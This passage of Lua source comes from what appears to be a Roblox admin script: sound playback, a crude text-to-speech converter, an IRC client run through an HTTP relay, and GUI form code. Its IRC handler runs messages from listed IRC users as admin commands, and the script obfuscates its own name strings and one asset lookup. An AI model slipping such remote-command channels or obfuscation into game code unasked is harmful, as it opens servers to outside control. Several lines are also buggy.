3353 SoundList,GlobalSoundList = {},{}
3354
3355 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3356
3357 if LocalSoundList then
3358 if type(LocalSoundList) == "table" then
3359 if #LocalSoundList > 0 then
3360 for _,Data in pairs(LocalSoundList) do
3361 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3362 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3363 end
3364 end
3365 end
3366 end
3367
3368 for _,JSONID in pairs(SoundJSONs) do
3369 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3370 local SoundInfo = MARKET:GetItemInfo(ID, true)
3371 local FullName = SoundInfo.Name
3372 local CreatorName = SoundInfo.Creator.Name
3373 SoundList[Name] = {ID, FullName, CreatorName}
3374 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3375 end
3376 end
3377
3378 if not CORE:NilPlayer(TellSync) then
3379 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3380 end
3381end
3382
3383function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3384 if not Volume then Volume = 0.5 end
3385 if not Pitch then Pitch = 1 end
3386 if tonumber(ID) then ID = "rbxassetid://"..ID end
3387 if Looped == nil then Looped = false end
3388
3389 local Sound = Instance.new("Sound", Parent)
3390 Sound.Pitch = Pitch
3391 Sound.Volume = Volume
3392 Sound.SoundId = ID
3393 Sound.Looped = Looped
3394 return Sound
3395end
3396
3397function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3398 if not Player or not ID then return nil end
3399 if NotifySounds[ID] then ID = NotifySounds[ID] end
3400 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3401 if Settings.EnableSounds or OverrideSettings then
3402 coroutine.wrap(function()
3403 wait()
3404 ClientSound:Play()
3405 Delay(5, function() ClientSound:Destroy() end)
3406 end)()
3407 end
3408 return Sound
3409end
3410
3411function SOUND:BindButton(Button)
3412 if not Button then return end
3413 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3414 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3415end
3416
3417function SOUND:StopGlobalSound()
3418 if Sound and Sound.Parent then
3419 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3420 Sound.Parent:Destroy()
3421 end
3422
3423 Sound:Stop()
3424 Sound:Destroy()
3425 Sound.SoundId = ""
3426 end
3427end
3428
3429function SOUND:PlayGlobalSound(ID, ShowInfo)
3430 SOUND:StopGlobalSound()
3431 if ShowInfo == nil then ShowInfo = true end
3432 local SoundID = ID
3433 local SoundName = nil
3434 local SoundCreator = nil
3435 local Pitch = 1
3436
3437 for Name,Info in pairs(SoundList) do
3438 if type(SoundID) == "string" then
3439 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3440 SoundID = Info[1]
3441 SoundName = Info[2]
3442 SoundCreator = Info[3]
3443 end
3444 else
3445 break
3446 end
3447 end
3448
3449 if tonumber(SoundID) and not SoundName then
3450 local Info = MARKET:GetItemInfo(SoundID, true)
3451 if Info then
3452 SoundName = Info.Name
3453 SoundCreator = Info.Creator.Name
3454 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3455 SoundID = nil
3456 end
3457 end
3458 end
3459
3460 if tonumber(SoundID) then
3461 if SoundID == 131201443 then Pitch = -1 end
3462 if SoundID == 130775695 then Pitch = 0.8 end
3463 if SoundID == 144035866 then Pitch = 0.8 end
3464
3465 local SoundParent = Server.Workspace
3466 if IsSB then
3467 SoundParent = Instance.new("Script", Workspace)
3468 SoundParent.Name = "M".."ML'S Admin Sound"
3469 end
3470 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3471 Sound.Name = "MML's Admin Sound "..SoundID
3472 Sound:Play()
3473 if ShowInfo == true then
3474 for _,Player in pairs(Server.Players:GetPlayers()) do
3475 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3476 end
3477 end
3478 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3479 end
3480end
3481
3482function SOUND:ConvertText(Text)
3483 Text = string.lower(tostring(Text))
3484 local Letters = {}
3485 local IDs = {}
3486 for Rule,Replace in pairs(TextConverter.Pronounce) do
3487 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3488 end
3489 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3490 local Start, End = string.find(Text, string.lower(Rule))
3491
3492 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3493 Text = string.gsub(Text, string.lower(Rule), Replace)
3494 end
3495 end
3496 for i = 1,#Text do
3497 table.insert(Letters, string.sub(Text,i,i))
3498 end
3499 for Num = 1,#Letters do
3500 if not Letters[Num] then break end
3501 local Letter = Letters[Num]
3502
3503 local function AddLetter()
3504 table.insert(IDs, TextConverter.LetterSounds[Letter])
3505 end
3506
3507 if Letter ~= "~" then
3508 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3509 table.insert(IDs, TextConverter.LetterSounds["oo"])
3510 table.remove(Letters, Num + 1)
3511 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3512 table.insert(IDs, TextConverter.LetterSounds["oo"])
3513 table.remove(Letters, Num + 1)
3514 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3515 table.insert(IDs, TextConverter.LetterSounds["th"])
3516 table.remove(Letters, Num + 1)
3517 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3518 table.insert(IDs, TextConverter.LetterSounds["sh"])
3519 table.remove(Letters, Num + 1)
3520 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3521 table.insert(IDs, TextConverter.LongVowels["e"])
3522 table.remove(Letters, Num + 1)
3523 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3524 table.insert(IDs, TextConverter.LetterSounds["wh"])
3525 table.remove(Letters, Num + 1)
3526 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3527 table.insert(IDs, TextConverter.LetterSounds["ch"])
3528 table.remove(Letters, Num + 1)
3529 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3530 table.insert(IDs, TextConverter.LetterSounds["f"])
3531 table.remove(Letters, Num + 1)
3532 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3533 table.insert(IDs, TextConverter.LetterSounds[Num])
3534 Letters[Num + 1] = "j"
3535 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3536 table.insert(IDs, TextConverter.LetterSounds["oo"])
3537 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3538 table.insert(IDs, TextConverter.LongVowels["e"])
3539 table.remove(Letters, Num + 1)
3540 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3541 table.insert(IDs, TextConverter.LongVowels["e"])
3542 table.remove(Letters, Num + 1)
3543 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3544 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3545 table.insert(IDs, TextConverter.LetterSounds["s"])
3546 Letters[Num + 1] = "~"
3547 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3548 table.insert(IDs, TextConverter.LongVowels[Letter])
3549 Letters[Num + 2] = "~"
3550 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3551 table.insert(IDs, TextConverter.LongVowels["i"])
3552 Letters[Num + 1] = "~"
3553 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3554 table.insert(IDs, TextConverter.LongVowels["o"])
3555 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3556 table.insert(IDs, TextConverter.LongVowels["i"])
3557 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3558 AddLetter()
3559 table.remove(Letters, Num + 1)
3560 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3561 Letters[Num] = "~"
3562 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3563 AddLetter()
3564 table.remove(Letters, Num + 1)
3565 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3566 AddLetter()
3567 table.remove(Letters, Num + 1)
3568 elseif Letters[Num+1] == Letter then
3569 table.remove(Letters, Num)
3570 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3571 AddLetter()
3572 table.remove(Letters, Num)
3573 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3574 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3575 elseif TextConverter.LetterSounds[Letter] then
3576 AddLetter()
3577 elseif STRING:IsSpacer(Letter) then
3578 table.insert(IDs, "Rest")
3579 end
3580 end
3581 end
3582
3583 return IDs
3584end
3585
3586function SOUND:StopSpeaking() coroutine.wrap(function()
3587 NoSpeak = true
3588 wait(1)
3589 NoSpeak = false
3590 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3591 if Obj.Name == "M".."M".."L Speak Sound" then
3592 Obj:Destroy()
3593 end
3594 end
3595end)() end
3596
3597function SOUND:SayConvertedText(IDs, Parent)
3598 if not Parent then Parent = Server.Workspace end
3599 local Sounds = {}
3600 for _,Data in pairs(IDs) do
3601 if NoSpeak and Parent == Server.Workspace then
3602 break
3603 end
3604 local Length = 0.3
3605 if Data ~= "Rest" then
3606 local ID = Data[1]
3607 Length = Data[2]
3608
3609 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3610 Sound.Name = "MML Speak Sound"
3611 table.insert(Sounds, Sound)
3612 Sound:Play()
3613 if Length then
3614 coroutine.wrap(function()
3615 wait(Length)
3616 Sound:Stop()
3617 end)()
3618 end
3619 end
3620 if not Length then Length = 0.3 end
3621 wait(Length/2)
3622 end
3623 coroutine.wrap(function()
3624 wait(1)
3625 for _,Sound in pairs(Sounds) do
3626 Sound:Destroy()
3627 end
3628 end)()
3629end
3630
3631local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3632
3633function SOUND:BeepPlayer(Player)
3634 if Player:FindFirstChild("PlayerGui") then
3635 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3636 Beep.Name = "Annoy"
3637 Beep:Play()
3638 end
3639end
3640
3641function SOUND:ClearInfo()
3642 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3643end
3644
3645-- IRC functions --
3646
3647function IRC:GenerateName()
3648 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3649end
3650
3651function IRC:AddChat(Name, Data, IsError)
3652 if not IsError then IsError = false end
3653 CORE:Log(IRC.Logs, Name, Data)
3654 table.insert(IRC.Chats, {Name, Data, IsError})
3655 IRC.MessageAdded:Fire(Name, Data, IsError)
3656end
3657
3658function IRC:Post(URL,Data)
3659 if Data and Data ~= "" then
3660 local Suc,Resp = ypcall(function()
3661 return Server.HS:PostAsync(
3662 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3663 Data,
3664 Enum.HttpContentType.ApplicationUrlEncoded
3665 )
3666 end)
3667 if not Suc then
3668 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3669 return false
3670 end
3671 IRC.SessionCounter = IRC.SessionCounter + 1
3672 return Resp
3673 else
3674 IRC:AddChat("[ CLIENT ]", "Unknown error")
3675 end
3676end
3677
3678function IRC:Send(Data)
3679 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3680end
3681
3682function IRC:GetData()
3683 return IRC:Post("s","&s="..IRC.SessionID)
3684end
3685
3686function IRC:Connect()
3687 return IRC:Post("n","&nick="..IRC.NickName)
3688end
3689
3690function IRC:Join(Channel)
3691 if not Channel then
3692 AddChat("[ CLIENT ]", "No channel specified!")
3693 return false
3694 else
3695 local Channel = string.lower(Channel)
3696 if string.sub(Channel,1,1) ~= "#" then
3697 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3698 return false
3699 end
3700 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3701 IRC:Send("JOIN "..Channel)
3702 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3703 return true
3704 end
3705end
3706
3707function IRC:Pong(Data)
3708 return IRC:Send("PONG :"..Data)
3709end
3710
3711function IRC:Quit(Reason)
3712 IRC.Stop = true
3713 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3714end
3715
3716function IRC:ReceiveData()
3717 IRC.Stop = false
3718 local Data = IRC:GetData()
3719 if Data then
3720 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3721 end
3722 while Data and not Stop do
3723 local Data = IRC:GetData()
3724 if Data and #Data > 0 then
3725 IRC:HandleResponse(REMOTE:Decode(Data))
3726 end
3727 wait(2) -- Don't spam the server
3728 end
3729 if not Data then
3730 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3731 end
3732 if Stop == true then
3733 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3734 end
3735end
3736
3737function IRC:ConnectToServer(Server)
3738 if Connected then
3739 if not IRC.Servers[Server] then
3740 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3741 return false
3742 end
3743 IRC:Quit("New Connection")
3744 end
3745 local Response = IRC:Connect()
3746 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3747 local Data = REMOTE:Decode(Response)
3748 IRC.SessionID = Data[2]
3749 wait(1)
3750 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3751 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3752 IRC:Quit()
3753 IRC:ConnectToServer(Server)
3754 end
3755 IRC.Connected = true
3756 IRC:Join(Settings.IRCChannel)
3757 IRC:ReceiveData()
3758 IRC.Connected = false
3759 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3760end
3761
3762function IRC:FindUser(UserName)
3763 for UserID,User in pairs(IRC.Users) do
3764 if string.lower(User) == string.lower(UserName) then
3765 return UserID
3766 end
3767 end
3768 return nil
3769end
3770
3771function IRC:HandleResponse(Data)
3772 if type(Data) ~= "table" then
3773 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3774 ypcall(function()
3775 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3776 end)
3777 return false
3778 end
3779 for _,Output in pairs(Data) do
3780 if type(Output) == "table" and Output[2] then
3781 local ID = string.upper(Output[2])
3782 if not IRC.Ignore[ID] then
3783 if ID == "PING" then
3784 IRC:Pong(Output[4][1])
3785 elseif ID == "PRIVMSG" then
3786 local SenderDetails = Output[3]
3787 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3788 local Channel = string.lower(Output[4][1])
3789 if Channel == IRC.NickName then
3790 Channel = Sender
3791 -- TODO: Handle PM's
3792 end
3793 local Message = Output[4][2]
3794 if Message ~= nil then
3795 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3796 if string.find(Message,":") then
3797 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3798 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3799 IRC:AddChat(IRCUser, IRCMessage)
3800 end
3801 else
3802 IRC:AddChat("[ IRC ] "..Sender,Message)
3803 for _,Name in pairs(Settings.IRCCommandExecuters) do
3804 if string.lower(Name) == string.lower(Sender) then
3805 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3806 break
3807 end
3808 end
3809 end
3810 else
3811 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3812 end
3813 elseif ID == "NICK" then
3814 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3815 -- change nickname?
3816 elseif ID == "433" or ID == "451" then
3817 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3818 IRC:Quit("Nickname in use, rejoining with new name")
3819 IRC.NickName = IRC:GenerateName()
3820 wait(2) -- wait for old sessions to end
3821 IRC:ConnectToServer(Settings.IRCServer)
3822 elseif ID == "353" then
3823 if Data[4][4][4] then
3824 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3825 table.insert(IRC.Users, Output)
3826 end
3827 end
3828 elseif ID == "QUIT" or ID == "PART" then
3829 for User in string.gmatch(Data[1][3], "[^!~]+") do
3830 if IRC:FindUser(User) then
3831 IRC:AddChat("[ IRC ]", User.." has left")
3832 table.remove(IRC.Users, IRC:FindUser(User))
3833 end
3834 end
3835 elseif ID == "JOIN" then
3836 for User in string.gmatch(Data[1][3], "[^!~]+") do
3837 if not string.find(User, "qwebirc") then
3838 IRC:AddChat("[ IRC ]", User.." has joined")
3839 table.insert(IRC.Users,w)
3840 end
3841 end
3842 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3843 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3844 --IRC:Quit("Connection lost")
3845 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3846 --IRC:ConnectToServer(Settings.IRCServer)
3847 elseif IRC.Codes[ID] then
3848 --print(ID)
3849 --print(Data[i][4][2])
3850 --print(Data[i][4][2])
3851 elseif ID == "KICK" then
3852 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3853 IRC:Quit("Kicked from IRC")
3854 elseif ID then
3855 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3856 else
3857 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3858 end
3859 end
3860 else
3861 if Output == false then return false end -- sneeky server
3862 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3863 end
3864 end
3865end
3866
3867-- GUI functions --
3868
3869function GUI:GetColor(ColorName)
3870 if not ColorName then ColorName = Settings.ColorScheme end
3871 return Colors[string.upper(ColorName)]
3872end
3873
3874function GUI:ContrastColor(Color)
3875 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3876 if not Color then Color = GUI:GetColor() end
3877 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3878end
3879
3880
3881function GUI:GetNameColor(Name)
3882 local Val = 0
3883 for i = 1, #Name do
3884 local CVal = string.byte(string.sub(Name, i, i))
3885 local RevIndex = #Name - i + 1
3886 if #Name%2 == 1 then
3887 RevIndex = RevIndex - 1
3888 end
3889 if RevIndex%4 >= 2 then
3890 CVal = -CVal
3891 end
3892 Val = Val + CVal
3893 end
3894 local Index = Val%8 + 1
3895
3896 return BrickColor.new(ChatColors[Index])
3897end
3898
3899function GUI:Color3ToHex(Color)
3900 local function ConvertNumber(Number)
3901 local HexString = "0123456789abcdef"
3902 local Byte = ""
3903 while Number > 0 do
3904 local Calc = math.fmod(Number, 16)
3905 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3906 Number = math.floor(Number / 16)
3907 end
3908 if Calc == "" then
3909 Byte = "00"
3910 elseif #Byte == 1 then
3911 Byte = "0"..Byte
3912 elseif Byte == "" then
3913 Byte = "00"
3914 end
3915 return Byte
3916 end
3917 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3918end
3919
3920function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3921 if not Player then return nil end
3922 if not Player:FindFirstChild("PlayerGui") then return nil end
3923 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3924 if not TitleText then TitleText = "Unknown" end
3925 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3926 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3927 if not IconID then IconID = 19919809 end
3928 if ShowFormButtons == nil then ShowFormButtons = true end
3929 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3930 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3931 if AutoOffset == nil then AutoOffset = true end
3932 if Icons[IconID] then IconID = Icons[IconID] end
3933 if TweenPosition == nil then TweenPosition = true end
3934 if NoModal == nil then NoModal = false end
3935 if NoScrollFrame == nil then NoScrollFrame = false end
3936
3937 local IsClosed = false
3938 local Minus = nil
3939 local Offset = 0
3940 local ContentType = "ScrollingFrame"
3941 local TweenSpeed = 0.3
3942
3943 if AutoOffset then
3944 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3945 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3946 if Item.IsActive.Value == true then
3947 if Item.IsTrueForm.Value == true then
3948 Offset = Offset + 50
3949 end
3950 end
3951 end
3952 end
3953 end
3954
3955 if NoScrollFrame == true then
3956 ContentType = "Frame"
3957 end
3958
3959 SOUND:PlayNotification(Player, 155331654)
3960
3961 local Position = Position + UDim2.new(0,Offset,0,Offset)
3962 local MinimizePos = Position
3963
3964 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3965 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3966 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3967
3968 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3969 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3970 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3971 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3972 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3973 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3974 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3975 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3976 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3977
3978 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3979 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3980 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3981 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3982 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3983
3984 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3985
3986 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3987
3988 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3989 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3990 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3991 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3992 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3993 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3994
3995 if Settings.EnableTaskBar then
3996 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3997 else
3998 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3999 Title.Size = UDim2.new(1, -95, 0, 25)
4000 end
4001
4002 if not ShowFormButtons then
4003 X:Destroy()
4004 TitleEnd:Destroy()
4005 Title.Size = UDim2.new(1, -55, 0, 25)
4006 end
4007
4008 local function CloseForm()
4009 if IsClosed == false then
4010 IsActive.Value = false
4011 IsClosed = true
4012 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4013 Closed:Fire()
4014 SOUND:PlayNotification(Player, 206375138)
4015 end
4016 end
4017
4018 local function MinimizeForm()
4019 if IsActive.Value == true then
4020 IsActive.Value = false
4021 Minimized:Fire()
4022 MinimizePos = Dragger.Position
4023 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4024 end
4025 end
4026
4027 local function RestoreForm()
4028 if IsActive.Value == false then
4029 IsActive.Value = true
4030 Restored:Fire()
4031 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4032 end
4033 end
4034
4035 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4036 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4037
4038 Close.OnInvoke = CloseForm
4039 Minimize.OnInvoke = MinimizeForm
4040 Restore.OnInvoke = RestoreForm
4041
4042 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4043
4044 if TaskBar then
4045 TaskBar:WaitForChild("AddForm")
4046 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4047 end
4048
4049 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4050end
4051
4052function GUI:CoreGui(Player, Type, Enable)
4053 local Parent = Player:FindFirstChild("Backpack")
4054 if not Parent then Parent = Player.Backpack end
4055 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4056end
4057
4058function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4059 if not Player or not Player:IsA("Player") then return nil end
4060 if BodyText == "" then return nil end
4061 if not Player:FindFirstChild("PlayerGui") then return nil end
